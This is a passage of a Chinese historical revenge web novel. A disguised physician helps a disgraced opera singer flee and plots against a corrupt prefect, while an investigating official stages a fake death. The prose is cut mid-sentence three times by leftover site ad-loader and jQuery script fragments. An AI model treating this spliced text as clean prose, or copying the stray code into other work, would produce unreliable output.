“黄龙玉重，稳当着些。”姜松小心提醒。
见两份大礼均被收下，姜松心中松了口气，便摆明了来意：“下官有一事不明，遂今日特来陈大人处求个明白。我儿……”
还未等姜松说完，朱华庭便打断道：“坊间传闻贵公子在城中闹事，本官初来乍到，若是袖手旁观，坐视不管，传回京城，那我这乌纱帽……”
姜松道：“这都是民间传闻，我儿是爱戏不假，可闹事一事，子虚乌有。”
朱华庭反问：“既然子虚乌有，那姜大人又怕什么呢？”
姜松深吸了口气，又道：“是真是假，陈大人稍等片刻，心中自会明白。”
·
一道雷如剑光般划过浓墨似的乌云，雷声轰鸣，仿佛天地都在颤抖。
幽暗狭窄的小巷间，一群男子游走其间。
他们步子飞快，目光如同锋利的矛，在这巷间找寻猎物。
“你们那边怎么样了？”说话的是那夜拦阻顾静娴的壮汉。
“没发现，你们那边呢？”有人应声，而后反问。
壮汉啐了口唾沫，言辞凌冽：“我就不信了，那贱人还能长了翅膀飞出淮州。继续给我搜！”
“是！”
众人应声，又四处散去，挨家挨户的敲门。
“你们惊鸿堂丢东西，跟我家有什么关系？去去去，滚一边去。”有人家被打扰，怒不可遏地驱赶起来。
叩门的小伙心中不爽，咄咄逼人道：“小爷我是奉命行事，你敢不从？”
主人家倒是不在怕的，挡着家门犀利反问：“奉命行事？奉谁的命？你们戏楼的？呸——真把自己当官差啊！”
壮汉听到这边的争吵声，不慌不忙地走了过来：“那程绾青偷了姜家赏赐我们惊鸿堂的玉佩，我奉命前来抓拿，有何不妥？”
“有何不妥？”主人家被气得发笑：“欠妥至极！别以为你们惊鸿堂背后和官府沾了点关系，就能在淮州撒泼！”
壮汉不愿再与其多费口舌，惜字如金道：“让还是不让？”
“想进你爷爷家，做梦！”
主人家话还未曾说完，那壮汉便一拳打在他的脸上，随后又朝着他的胸口重重来了一脚。
可怜主人家捂着胸口哀嚎倒地，口中缓缓溢出一抹殷红，疼得直在地上打滚。
霎时间，血腥味弥漫。
壮汉俯视其痛苦的样子，心中暗爽：“今日，不进也得进！”
他一只脚方想踏进屋子，却被一箭射穿小腿。霎时，那壮汉捂着伤口倒地，叫喊连天。
其余人寻箭飞来的方向看去，一众官兵已至，足有数十个人。
俄顷，这几条巷间便被围得铁桶一般，连一只苍蝇都飞不出去。
领队的拿出官府令牌，大声道：“奉知府大人之命，闹事者一应拿下！”
惊鸿堂一伙人见情况不妙，知这是中了姜家的迷魂记，便想飞檐逃走，官差见况忙上前抓捕，场面顿时乱作一团。
通善坊一间黄酒铺子二楼，顾静娴站在窗侧静静地看着那混乱不堪的场面。
忠叔进屋言道：“王虎媳妇方寻来此处，说程娘子已在约定之地候着。”
她边看边吩咐忠叔道：“水已浊，动身吧。”
·
通善坊的酒铺，是忠叔在淮州最后买的一个铺子。此地离闹市较远，街上游人也便不多。
忠叔带着顾静娴快马来此，对了暗号，程绾青着一袭男装出了铺子，大步登上了马车。
顾静娴笑道：“程娘子来了。”
程绾青不懂为何面前的小姑娘要如此帮自己，便留了个心眼，藏了一把匕首在袖间。
“多谢殷姑娘。”
因城中官差多数被调遣至别处，城门口松懈下来，并未仔细检查，忠叔驾着马车便轻易出了城门。
待出城又驶了一盏茶的功夫，原本死寂的车厢，被程绾青的问话音打断。
“你究竟是谁？”程绾青不安地握紧了手中的匕首，问道。
顾静娴注意到她手中的动作，却不说明，只回答道：“数日前已同程姑娘说过，我姓殷，名紫簪。”
看着程绾青目露疑惑，顾静娴知她还是不信自己，便又打趣道：“不过一江湖郎中罢了。”
“如此的江湖郎中，我倒从未见过。”
顾静娴叹了口气：“天下之大无奇不有，我本以为姑娘已信了我这句话。”
说着，她盯着程绾青的嗓子，问道：“嗓子如何了？”
程绾青看向被风拨动的窗帘，“比之前好多了。”
顾静娴点了点头。
程绾青又问：“你为何要如此帮我？”
顾静娴微微一愣，深渊般的黑眸沉甸甸地凝视着程绾青。
她厉色道：“因为我们有共同的仇家。”
程绾青紧握着匕首的手松了松，她迟疑道：“你于姜家有何仇恨？”
顾静娴不急着回程绾青的话，她掀帘看向窗外，良久后才道：“灭门之恨。”
此话一出口，车内的空气被沉寂包裹的严严实实，只剩下马蹄急踏和车轮滚动的声音。
二人看着彼此，陷入短暂的沉默。
良久后，程绾青将握在手中的匕首丢出。
她道：“没曾想，你我都是可怜人。”
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
顾静娴看着地上泛着冷光的匕首，知程绾青这是交了心。
顾静娴脸上微露喜色，神色从容：“可怜有何用，叫那姜松血债血偿才是正事。”言罢，又问：“不知淮州茶商周家一事，程娘子可清楚？”
忠叔这些日子在外头办事时，听外人谈论起周家之事，询得几句消息，回到云烟榭后便告知顾静娴。
程绾青睁大双眸，惊讶道：“你问这作甚？”
顾静娴眼神坚定：“要扳倒姜家，这事我需得清楚。”
“周家一事，我确有所耳闻。”
“愿闻其详。”
程绾青目光落在香炉上，看着那婉转升起的白烟，她缓缓开口：“我曾于周家姑娘打过一次照面，在三年前，周家茶舍出事后的一个月——”
周家茶舍门前，周元霜哀叹了口气，她看着面前站着的人，愤恨道：“到底还是败在了你们手上。”
“姑娘说得这是什么话？你需要银子，我需要铺子，咱们不过各取所需罢了。”面前的人开口说话，他便是后来收买所有周家茶舍的林易之。
说罢，林易之将那转卖铺子的文书向周元霜面前递了递。
周元霜垂眸看着这份文书，心如死灰道：“你收了他多少好处，要这样害我周家。你忘了，是谁在你快活不下去的时候收留了你，又是谁教会你做茶的手艺，让你有功夫傍身不至于饿死。”
林易之讪讪一笑：“周姑娘如今还同我说这些话作甚，不如快点签字画押。”
他又晃了晃手中的文书，洋洋自得地看着周元霜：“你父亲还等着你的银子救命呢。”
看着面前之人油盐不进，周元霜也不愿再多费口舌，她原想提笔写字，思量片刻后，咬破了右手食指指尖，用血在文书上签了自己的名姓。
林易之心中大快，一手交钱一手交了货。
“——我当日所见，就是这些。”程绾青说完，又想起些旁的，忙补充道：“我后来听闻，周姑娘有了银子后并未立即去衙门赎周老爷，而是去了一家画舍，买了几幅字画。”
字画？
顾静娴不解，未曾等其细想，程绾青又开了口：“本以为周老爷赎出来后，周家虽没了往日的富贵，但至少还是阖家团圆。却不曾想，钱庄的人又找了上来。”
“周家一事，和钱庄有什么关系？”
“那时正值开春，茶田新芽已生，周家想开拓家业再开几间作坊，便借了印子钱。可谁曾想，不过短短两月周家就落寞至此。周老爷可以用钱赎回，可这印子钱，白纸黑字，怎么也逃不过。”
一环扣着一环，这是丝毫没想给周家留活路。
顾静娴深吸一口凉气：“还不起印子钱，周家只有死路一条。可有一人，定还活着。”
“谁？”
“周家姑娘。”
“周娘子还活着？”
顾静娴颔首。
当初还在姜家住着时，姜云炳醉酒，迷迷糊糊间闯进了她的院子。
酒后胡言，却被顾静娴留了个心眼。
“你个小蹄子，若……若不是小爷我疼你，你……你早就随你那父亲一道去了阴司。好……好娘子，我的好元霜，你就从了我，从了我吧——”
“只要你从了我，我立马把你从这青楼里接出去——进我房中为妾，我定好好疼你！”
顾静娴看向程绾青，肃然道：“所以我需姑娘替我做一件事。”
“何事？”
“听闻登州城的知府夫人孟氏，最喜程姑娘的戏。我需要程姑娘，帮我将孟夫人引来。”
“你想做什么？”程绾青问。
顾静娴静静道：“我想让她，为我所用。”
8. 好戏
程绾青被安排在一间登州近郊区的铺子，离云烟榭路程不足两刻。
顾静娴吩咐了秋霜和刘妈妈好好照应，便又和忠叔回了淮州。
此时的淮州衙门，一出好戏悄悄登场，正热闹着。
“两位大人，外头闹事者一应抓捕。”有人进衙门禀报。
姜松闻言，朝着朱华庭的方向浅看一眼，笑道：“办得好。”
而后他又走近朱华庭，作揖道：“人既已抓到，陈大人，请吧。”
朱华庭道：“姜大人，请。”
大堂内，刻着“明镜高悬”四个大字的匾额尤为醒目。
惊鸿堂一众人被羁押着跪在地上，除此外还有柳双儿和秋霜，以及姜五德，却未曾见姜云炳的身影。
见来人，跪地者内有人忙道：“大人，冤枉啊！”
“肃静！”有衙役呵斥道。
朱华庭冷眼看着姜松走向在左侧备好的椅子上，制止道：“这淮州到底是姜大人的地界，姜大人请上座。”
姜松微顿，他本就打算将此案交于朱华庭来结，自己也好落个清净，自是不愿意上座，忙推脱道：“此案涉及我府内管事，下官理应避嫌，还望陈大人还我儿一个公道。”
“公道？”壮汉受了伤，伏在地上，自知中了姜松的奸计，又听闻“公道”二字，忍俊不禁，“姜大人，你还记得公道如何写吗？”
朱华庭闻声看去，正巧与那壮汉四目相对。
壮汉越过朱华庭看向站在后侧的剑来，瞧见这一张熟悉的脸，心中是凉了半截。
剑来朝他做了个鬼脸，摆出一副“想不到会在这碰见我吧”的样子。
朱华庭厉声道：“衙门之内，禁止喧哗。”
堂中顿时归于平静，便连站在大门旁的百姓也噤了声。
朱华庭道：“本官奉旨前来，各州知府断案也在本官考核之内，大人无需多言，开堂吧。”
还未等姜松回话反驳，朱华庭便先一步坐在了椅子上。
姜松没了法子，只得上座，“尔等今日在城中闹事，是何缘由？”
壮汉久不回话，手下一位较为羸弱的男子回道：“程绾青偷了我惊鸿堂宝物，因此才在城中找她。”
“何物？”
“是姜公子赏赐的玉佩，我们班主对其视若珍宝。”
朱华庭看向姜松。
姜松忙从椅子上站起身子，弓身道：“我儿爱听这惊鸿堂的戏，兴致浓时赏些金银珠宝也是有的。”
姜松又问堂下男子，“既是找人，可有逮捕公文？”
羸弱男子不知如何接话，拉了拉壮汉的裤腿，那壮汉不忍其烦，接话道：“不曾有。”
终于等到这人发话，朱华庭缓缓道：“我认得你。”
壮汉心中一惊，怒目圆睁地看向自己那羸弱的手下。
朱华庭补充道：“这位壮士似乎很喜欢抓人。”
“大人，这，这……”
姜松听出些别的意思，问道：“陈大人此言何意？”
“几日前，淮州边郊，已近登州地界，这人便带着一伙人在那劫财，被我身旁的侍卫打退。”
“竟有此事？”姜松道，“是下官治安疏忽，未曾察觉这些祸害。”
朱华庭道：“此乃后话，大人先断案吧。”
“民女要告姜五德，砸民女铺子一案！”柳双儿大声言道。
姜松看向柳双儿，又瞪了一眼姜五德，姜五德心中有愧，低下了头。
“大人方才说，抓人要逮捕公文，可姜五德进店二话不说就要将我和芳菲二人抓走，亦是不合规矩，还望大人明察！”柳双儿句句在理，底气十足。
姜松哀叹了口气，“五德啊五德，你在我府中做事二十余载，想到你那年近七十又患病的老母，逢年过节我也是多多给你银两，现如今你究竟为何如此行事？”
姜五德知姜松言下何意，他母亲如今捏在姜家人手中，但凡他说错些什么话，那么他母亲祸福难料……
姜松又道：“你是我府内管事，我也不愿施刑拷打于你，你若是识趣，将前因后果据实交代，是非对错我和陈大人自有决断，断不会冤枉任何一人。”
姜五德心中冷笑，面上却做出一副感恩戴德的意思来，“多谢老爷垂帘，是小的猪油蒙了心，受那纪紫怡闺中谗言佞语，闯此大祸。”
惊鸿堂的人闻言，面面相觑。
纪紫怡瞧上姜云炳，无非是因为此人有钱，还生得一张俊俏的脸。
可姜五德有啥，年近四十不过只是一府管事，纪紫怡又图他啥？
壮汉大笑一声，“为了把你们家的公子摘出去，还真是什么话都说得出来啊。”
姜五德不曾理会，继续道：“是纪紫怡怕那程绾青嗓子恢复，夺了她的风头，便和小的耳鬓厮磨，说只要我替其解决了医治程绾青的小娘子，她就许我为妻。老爷，我年近四十还未成亲，怪我沉迷她的温柔乡无法自拔。如今，我无言以辩，任凭老爷处置。”
“糊涂！”姜松作悲愤状，“为了一个女人你就连脑子也给丢了？”
姜松沉思片刻，扔下令牌，断了案子，“姜五德，寻衅滋事，毁损百姓财物。按大昭律法，牢刑三年，罚白银二百两，以做柳娘子补偿。”
判完柳双儿和姜五德一事，姜松看了一眼朱华庭，见其垂眸不语，又对着惊鸿堂一众人说道：“尔等起哄闹事，殴打百姓，按大昭律，罚徭役十年。拦路打劫者，杀。”
“且慢，”待姜松判完案子，朱华庭才开口，“仅听片面之词，姜大人就要结案吗？”
“下官愚钝。”
朱华庭毫不给他留面子，“此案双方既全与纪紫怡有所牵扯，姜大人为何不传？”
话音刚落，又见一衙役匆匆来报，“大人，惊鸿堂失火！”
姜松闻言，和此衙役对视一眼，目露疑色。
门口处传来百姓议论声：“惊鸿堂失火，莫不是姜家放得？”
“我看就是，纪紫怡一死，他姜家能少多少事情。”
……
大家你一嘴我一嘴的接茬，一时间衙门内又变得热火朝天。
朱华庭看向姜松，“这火？”
“下官定会查明！”
·
等姜松和朱华庭赶到惊鸿堂时，火已被熄灭，昔日里热闹且辉煌的阁楼只剩下焦黑的木料框架。
几番搜查，发现失火点正是纪紫怡的闺房，屋内还躺着一具已凑不出人形的尸身。
姜松深吸了口气，和方才通报火情的衙役轻声细语道：“这火到底怎么回事？”
那衙役自也是迷茫，“属下也不知，奉大人之命前来时，火已燃可连天。”
既不是自己手下，那又有谁？
姜松思虑良久，又问：“那程绾青可抓着了？”
“属下命人去查，还未寻得踪迹。”
姜松道：“继续查，只要这人没死，终究会有蛛丝马迹。”
“是！”
二人谈完，姜松命人拾起地上的尸骨，便回到朱华庭身边复命，“下官已查明失火点，另外寻得一具白骨，已带回衙门交由仵作查验。”
朱华庭问：“姜大人觉得，此火为何人所放？”
“照目前所见，起火点在纪紫怡闺中妆台，以头油助燃，许是纪紫怡畏罪自尽。”
“畏罪？何罪？”
姜松面不改色道：“姜五德虽行恶事，可这纪紫怡才是幕后主导，如今东窗事发，自知纸包不住火，这
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
才出此下策。”
朱华庭久不回声，良久后才道：“姜大人可是朝中重臣，两年前顾家一案若非姜大人忍痛割亲，怕朝中卖官鬻爵的孽障依旧猖狂。这事交给你，我放心。”
·
待朱华庭重回衙门时，天色已经暗沉。
因近日来日日落雨，天上星光暗淡无光。府衙内尚未来得及点灯，却见大门处一盏夜灯在这黑沉的夜中，尤为亮眼。
忠叔将马车停靠在门旁静候，见朱华庭慢步行来，弓身行礼。
忠叔作揖问：“大人，不知柳双儿和芳菲两位姑娘何时能出来？”
“进衙内签了字，人即刻就能带走。”
“多谢大人。”忠叔道。
路过马车时，朱华庭闻到一丝熟悉的脂粉味，便缓下脚步。
他转头看向被帘子遮得死死的窗子，“你很聪明。”
顾静娴在车内微微一愣，却不曾回话。
朱华庭也并未再张口，只转身进了衙门。
静候了一盏茶的功夫，柳双儿和芳菲才登上车。
顾静娴柔声，又带点自责道：“这事是我不谨慎，拖累你们遭受如此大的委屈。”
柳双儿抹了抹泪，摇头道：“姑娘何须说这些。”
芳菲无声地坐在一旁，良久才哭出声来。
“芳菲这几日吓坏了，”柳双儿将芳菲抱在自己怀中，言及正事，“店中物品被砸，姑娘吩咐的事情，恐怕要耽误一段时间。铺子中的银子？”
“银子已经放至别处，你只管放心。”顾静娴牵住柳双儿的手道，“我在淮州城郊买了座庄子，虽不大，但住着舒心。以后你和芳菲便安心住着，旁的事不必再管。”
柳双儿睁大了眼睛，问：“那软香阁怎么办？”
这间铺子是姑母留下的，也是柳双儿紧绷着的弦。一个人的弦倘若是断了，后果便不堪设想。
顾静娴自然知道其中利害，“我在柳烟巷内也买了间院子，又备了辆马车，以备你们二人行路。若是哪天累了，便在这间院子落脚休息便是。”
·
衙门内，朱华庭静坐在茶案旁。
空气凝滞半晌，唯听得桌案上的灯花爆了又爆。
直到传来“吱嘎”的开门声，这份死寂才被打破。
剑来乐滋滋地行进屋内，“公子，那两位姑娘已被接走了。另外，张统求见。”
张统是惊鸿楼失火一事，特查那具白骨的仵作。
朱华庭倒了杯茶，神色平静道：“叫他进来。”
张统走进来时脚步踉跄，几乎要跌倒在地。
朱华庭问：“可有什么进展？”
张统双眼圆睁，呼吸急促而短浅。他的双手无意识地握紧。
拂去额间的汗珠，他抖着声音说道：“回大人，那具尸骨……”他言道此处，如同置身于冰窖，结结巴巴继续道，“这些残肢断臂，绝非来自同一个人。照头颅是二十多岁的女子不错，可这盆腔却是个男子，而且还年近四十。”
朱华庭轻轻“嗯”了一声，“这事只许我知，姜大人面前你只管说是纪紫怡便是。”
张统的喉间有些干涩，他不断地与朱华庭对视，仿佛脚踩虚空，每一步都踏得极不踏实。
“是。”
待张统退下，剑来挠了挠头，不好意思道：“那乱葬岗新鲜的死尸就这几具，还不全，我就只好出此下策。”
朱华庭未曾接剑来的话，“我命你还得伞可还了？”
“伞？”
剑来脸色一沉。
“王爷，你这几日不是让我替你查事吗？”
他还没还，所以急忙开始给自己脱罪。
朱华庭轻抿热茶，冷肃道：“还不快去。”
9. 跟踪
雨幕如织，大雨滂沱，整座淮州城被笼罩在一片氤氲水汽之下。
街道行人稀少，各自打着油纸伞匆匆前行。
剑来手捧着油纸，沿街飞奔。
空中划过一道惊雷，发出一阵爆响。
就近车时，不知从哪条小巷中冲出一过路人，剑来躲闪不及，撞了上去。
那行人被撞在地，发出“哎哟”一声，而后怒骂道：“是哪个不长眼睛的！”
剑来为了躲闪也飞扑在地，起身搀扶起那人，随后继续朝着马车飞奔，“抱歉。”
顾静娴听出不对，掀起一角帘子向外看去，就见剑来冒雨飞奔而来。
她细细思索，吩咐忠叔道：“停车。”
“吁——”忠叔问道，“姑娘，怎么了？”
忠叔话音方落，就闻脚步声走近窗旁。
“姑娘！”
顾静娴将帷帽戴上，掀起一角帘子，“何事？”
剑来笑盈盈道，“不知姑娘还记不记得我？”
顾静娴道：“十日前深夜，是你伸手援助救了我们，你还问我讨茶吃。”
剑来不好意思地挠了挠头，“不足挂齿，不足挂齿。”
“小公子何故追寻我们？”
剑来忙把伞递上，“那日姑娘借我们的伞，我们大人特命我归还。”
顾静娴看了一眼伞，却不曾接过，“你们救了我，这伞本就是报救命之恩，我如何能收回。”
顾静娴又道：“何况，我这两位姐妹近日在府衙中得大人庇佑，我更是没理由收回这伞。”
“这……”
说罢，顾静娴从腰间摘下一钱袋子，伸手递交，“劳烦公子跑一趟，公子冒雨前来恐染风寒，这里只碎银五两，我代我姐妹二人请公子和大人喝杯热茶。”
也不等剑来回话，顾静娴将钱袋子抛出，又吩咐忠叔道：“启程吧。”
剑来下意识地伸手去接，站在原地呆愣片刻才缓过神来。
伞还未还，一时间手中怎又多了个钱袋子？
他转头看去，却不知车子已拐进哪个巷口。
他知道自家王爷是何意思，还伞是其次，跟踪才是要事。
若是跟丢了，怕是不好回去交差。
这回他倒是学聪明了，施展轻功，身子轻轻一纵，落在墙头之上。
顾静娴心中不解，不过是一把再普通不过的伞，何故要特地命人来还？
莫不是……
她似乎意识到什么，淡笑一声，“忠叔，不急着回庄子，我想逛逛淮州城。”
柳双儿问：“姑娘是察觉到了什么？”
顾静娴颔首，轻声道：“有人在跟踪咱们，得想法子甩开他。忠叔，你去别的铺子换马车，咱们在东市碰头。”
剑来稳稳而立，衣袂飘然。
几番搜寻，他又重新寻得顾静娴所乘的马车。身形如电，动作迅疾，不过几个起落就跟近上去。
车子停落在一间酒肆前，剑来翻身隐匿树丛，后背紧贴树干，紧盯着那辆将停下的马车。
从车上行下三名戴着帷帽的女子，她们提群而进。
屋顶之下，三人围聚一处。
柳双儿朝四处看了几眼，酒桌上坐满了人，店内并无异样，她问：“如何甩开？”
顾静娴假意在腰间摸索片刻，高喝一声，“谁偷了我的银子？”
霎时间，酒楼内众客官俱停了筷子，闻声看向顾静娴。
柳双儿添油加醋道：“我们来淮找寻族亲，唯这袋银子傍身，如今……”说罢，她“呜呜”地哭了起来。
店小二忙走近过来，“这是怎了？”
顾静娴故作思量状，须臾，急道：“方才我进门时，一人撞上我，许是那时顺走了我的钱袋子。”
又未等店小二说话，柳双儿道：“那人定在店中，劳烦小哥帮忙寻寻。”
有食客应道：“三位小女子不容易，帮忙找找也不是什么难事。”
有人愿意，自有人反对，“你们丢钱跟我有什么关系，别在这扰我们的雅兴！”
“你这人怎么这样，不就帮帮人家，能少了你碗中一块肉？还是说，这钱就是你偷的？”
“你他娘的说什么呢！”
屋内传出哄闹声，倒叫剑来好奇发生了何事。
他轻轻一跃，来到靠窗边的树上。
正欲探头看去，却正巧与左顾右盼的食客对上了眼。
那食客看着面前这身着黑衣的男子，心中一惊，仔细观瞧见他腰间又刚好绑着一女子的钱袋子。便惊呼一声，“小贼在此！”
众人闻声看来，有愤愤者甚至想自己动手抓人，提起桌上的酒壶便摔了过去。
剑来心道不好，翻身重上了屋顶。
店小二自也不是吃醋的，有人敢来闹事，他必要追查到底，摇了数人便往屋顶登去。
剑来一举一动俱与自家王爷捆绑一起，自然不能出了差池，只得趁人还未追赶上来时，先几个飞身离去。
见达到自己想要的效果，顾静娴也拉着柳双儿和芳菲的手速速离去，仿佛这家店从未曾进来过三个戴着帷帽找寻钱袋的女子。
·
剑来回到衙门时，背手将伞和钱袋子藏在身后。
他原想悄悄摸进屋子，却未曾想朱华庭仍旧坐在原位。
朱华庭抬眸看了一眼剑来，低声道：“可还了？”
剑来心中一激灵，面上微露慌张，“王……王爷还没歇息啊。”
“背后藏着什么？”
“没什么。”
“拿出来。”
剑来闷闷不乐，将钱袋子绑在身后，唯将伞从身后拿了出来。
朱华庭轻轻挑眉，“身后的东西，你打算藏到什么时候？”
剑来心中困惑，他不知朱华庭是如何发现自己私藏的钱袋子，却也只好交出。
他蹑手蹑脚走近朱华庭身侧，憨笑道：“王爷，人家姑娘说什么也不愿意收伞，还、还给了几两银子说请您喝茶。”
朱华庭接过钱袋子仔细端详，嘴角扬起一抹不易让人察觉的弧度，“说正事。”
“这……”剑来支支吾吾地将方才追踪时发生的事情一五一十地交代出来，随后愤愤道，“那小娘子当真狡猾至极！”
“两次了。”
剑来发出“嗯”的疑惑声，询问道：“什么两次了？”
“浑水摸鱼，两次了。”
朱华庭说得话，惹得剑来云里雾里不明所以。
看着这张充满疑惑又带点傻气的脸，朱华庭也不愿多解释些什么。
他问：“醉云馆一事，可安排妥当了？”
剑来答：“按照公子吩咐，红绡姑娘已被安排进醉云馆。”
“一个月，我要让她成为淮州名妓。”
·
顾静娴此番未曾回云烟榭，将柳双儿和芳菲安顿好后，半路改道来了程绾青所在的位置。
对于昨夜的事，她坐在桌案前，从黑夜到白日微显，仍旧百思不得其解。
朱华庭这人，虽与她有用，可顾静娴到底对他并不知根知底，纪紫怡一案匆匆了结，难保朱华庭心性已不同往日，与那姜松同流合污。
她不知朱华庭到底因何故要派人跟踪她。
所以，她只能藏。
思索间，房门被人打开。
秋霜端着早膳行进屋内，看着顾静娴一如回来时的打扮，满脸心疼道：“姑娘，何不歇歇呢？”
顾静娴伸手接过早膳，眉目带笑，“傻丫头，忠叔行车时我自在后
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
方小憩。”她尝了几口热粥道，“程姑娘如何了？”
“刘妈妈已将药熬好，送去程姑娘房中。”
秋霜话刚说完，门外又传来一弱弱的女子声，“殷姑娘在吗？”
顾静娴探头看去，来者是王虎媳妇，沈氏。
她漏夜前来，多番找寻才来到此处。
秋霜忙将沈氏拉进屋内，又端了条凳子让其坐下。
沈氏拽着自己的衣角，她轻咬着唇，眼中盛满了委屈。那张嘴欲语还休，细思片刻，忍了忍心低声喃喃道：“殷姑娘，我本不该前来劳烦你，可我实在是……实在是快过活不下去了。”
见这一出，顾静娴不解其意，走近沈氏身侧，用帕子替其擦了擦泪，问道：“这是怎么了？”
沈氏垂下了头，她咬紧下唇，轻轻吸了吸鼻子，随后从袖间拿出一封休书来。
她语调颤抖，声音低沉，“我嫁进他王家十载，伺候公婆，浆洗打扫，也算是任劳任怨。”她越说越愤恨，声音渐大起来，“我娘家虽不算富贵，可好歹比他王家强些，早些年也多加接济。如今他家得势渐渐富裕，到头来，怪我肚子没货，便想一纸休书将我休弃！”
“我知不好劳烦殷姑娘，可我若是不舔着脸来求姑娘，当真一纸休书被赶出王家，怕是……怕是我的命也就到此了。”
说着，她从袖间拿出银钱。却不多，只有一吊钱，但怕是她嫁进王家这几载，拼了命省吃俭用才攒下来的。
“银子虽不多，可若是姑娘能助我怀胎，日后为姑娘当牛做马我也是愿意的！”说罢，沈氏便要跪下。
看着沈氏可怜样，顾静娴心中难免恻隐。她忙搀扶起沈氏，也便趁机摸了摸沈氏的脉。
顾静娴问道：“这么多年都未曾怀胎，何故到如今才要休了你？”
沈氏抹去眼角的泪水，双手紧握成拳，“他有了外室，那外室怀了胎，便想休了我将那外室扶正，替他王家延续香火。”
果然不出所料，顾静娴心中没好气道：“他们王家当真好大的威风，把咱们女子当做何物了？”
程绾青不知在门口站了多久，她款款走上前来，将沈氏揽在怀中。
沈氏于程绾青而言，便是寒日里的暖炭。当初她被纪紫怡和姜家陷害败了嗓子，是沈氏出于好心，拿了自己的体己钱救济了她。
如今见沈氏如此痛苦，程绾青心中也同样不好受，她看向顾静娴，带着恳求的意味道：“殷姑娘，你的医术我与沈姐姐有目共睹，你有怀胎的法子是吗？”
顾静娴看着程绾青，又瞧了瞧沈氏，话语曲折道：“心既已不在，又何故去用自己的身子讨好旁人？如今沈姐姐不止怀胎一条路可行，我这还有一条，就看姐姐愿不愿意了。”
沈氏双眸睁大，忙问：“是什么？”
“和离。”
顾静娴冷冽道：“我们女子，何故要被男子压一头？凡事，只要不自轻自贱瞧不起自己，就定有生路。”
沈氏面露惶恐，“想要与王家和离，怕是比登天还难。”说罢，她掩面痛哭起来。
程绾青觉得顾静娴言之有理，她与沈氏四目相对，劝道：“不曾试过，又怎知不能成呢？”
“我、我……”沈氏沉思良久，一双寒星似的眸子微微一睁，她问：“殷姑娘可有法子？”
“我这有一道方子，能使不孕者假孕。”
程绾青不安问道：“这方子可会损人身体？”
顾静娴摆了摆手，行至桌前提笔写字，“宫中传出来的把戏，前朝贵妃娘娘假孕争宠用得便是这道方子。”
言语间，顾静娴将写好的方子递于秋霜，吩咐其去买药。
而后她又走近程绾青身侧，眼眸中迸出坚定的光，莞尔一笑道：“这事，还需得程姑娘相助。”
10. 戏起
衙门暗室，朱华庭静面容冷淡，身姿挺拔地站着。他身上散发着一股冷冽之气，叫人不敢靠近。
他把玩着暗室里的刑具，眼底一片冷色。
“我再问你一句，”朱华庭对着一女子说道，“周元霜如今到底藏身何处？”
那女子闻言，缓缓抬眸。
杂乱的头发微微从额间岔开，露出真容来。
——是纪紫怡。
她静静地盯着朱华庭，良久，嗤笑了两声，“大人将我抓来，就为了这事？只可惜大人所提之人，我却从未听闻。”
“姑娘最好仔细想想。”
“恕民女无可奉告。”
“你这一片痴情，到底是付错了人。”
纪紫怡问：“大人这话是何意思？”
“你不会还以为，你那姜家公子会来救你吧，”朱华庭言语平淡，却刀刀诛心，“如今，他将所有坏事惧推到你的头上，又寻了个娘子寻欢作乐。”
“不可能！”纪紫怡眼底闪现一抹慌乱，她恶狠狠地盯着朱华庭，“若不是你，许我今日就进姜家，做云炳公子的枕边人。”
朱华庭道：“我原以为纪娘子是个聪明的人，如今，竟连借刀杀人的把戏都瞧不透切。”
纪紫怡不再说话，方才凶狠的气焰消了几分。
“我言尽于此，若纪姑娘仍旧冥顽不灵，你一个已死之人，不再适合再现世间。”
朱华庭起身离去，不过走了两三步，就被纪紫怡叫住。
“大人且慢！”
朱华庭转身，眉目含笑，“姑娘这是想明白了？”
“若我将我所知告诉大人，日后大人可会放了我？”
“自然，本官从不用花言巧语骗人。”
纪紫怡眼底的波澜掩盖不住，她眉头微微蹙起，缓缓道：“大人可知莳花楼？”
“此楼作何用处？”
“那里养了数十位官妓，供官家子弟玩乐。大人所提的周娘子，如今就被姜云炳藏在那里。”
朱华庭微微挑了挑眉，“那你可知，此楼设立在何处？”
纪紫怡摇了摇头，“这个，民女当真就不知晓了。民女也只是从姜云炳酒后胡言中，听得此地。”
她话锋一转，“可有一人，大人可以细查查。”
朱华庭被勾起兴趣，“谁？”
“林易之。”纪紫怡淡笑道，“大人追查周娘子，想来是想翻当初周家一案，可此案牵连颇深，这林易之与姜家交情颇深。民女言尽于此，望求大人给民女一条活路。”
·
入春来，满城繁花锦绣，春雨绵绵。
寒潮离去，和风阵阵。不知觉间，竟一月过矣。
登州城中玉兰巷内近来热闹。
巷头巷尾，闲散的路人聚拢在一起，窃窃私语。
“你们可听说了？那新开的沁心堂在免费诊脉看病，凡是去店里的，还能得一株上好的人参！”
青袍男子应声道：“怎么没听说，整个登州都传遍了。你们知道沈氏不？对！就是那成亲三载都未曾产下一子半女的王虎家的！王虎家为了他那媳妇的肚子那是求尽了土方，该拜得神仙也拜完了，前些日子甚至连休书都写好了，你们猜如今怎样了？”
有人被引起好奇心，问道：“如何了？”
“那王虎媳妇就去了沁心堂一次，求了张方子，才吃了半月的药，肚子中就有货了！”
有人感慨：“竟比神仙还灵？”
青袍男子又道：“何止呢！惊鸿堂的程绾青，大伙都不陌生吧？”
有人回答：“怎会不知晓，前些年惊鸿堂的头牌，整个戏班子都靠她一人养活。不过说起来，近一两年倒极少见她登台了。”
青袍男子淡淡一笑，一把折扇在胸前打开，“嗓子塌了，自然无法登台。不过，经沁心堂调理，听说嗓子已然大好，甚至比之前还润，今夜可就要登台唱戏了！”
“果真？那于某先行告辞，恐去晚了就没位了！”
沁心堂二楼内，顾静娴正为程绾青施最后一次针。
红日西坠，光线渐渐变淡，仅剩的几道霞光照射在地上，景物也渐渐变得模糊不清，缥缈虚无。
“姑娘今日夜里唱得哪出戏？”
“秦香莲。”
陈世美高中状元却守不住本心，贪图富贵，弃了那秦香莲，甚至还想杀之，永绝后患。
顾静娴无端端想起自己的姑母。
国公府的嫡女，高门显赫的家世！竟被姜松那负心汉联合外室，害到如此地步。
可秦香莲到底比姑母有福些，包拯坐镇，替她杀了陈世美，报了仇。
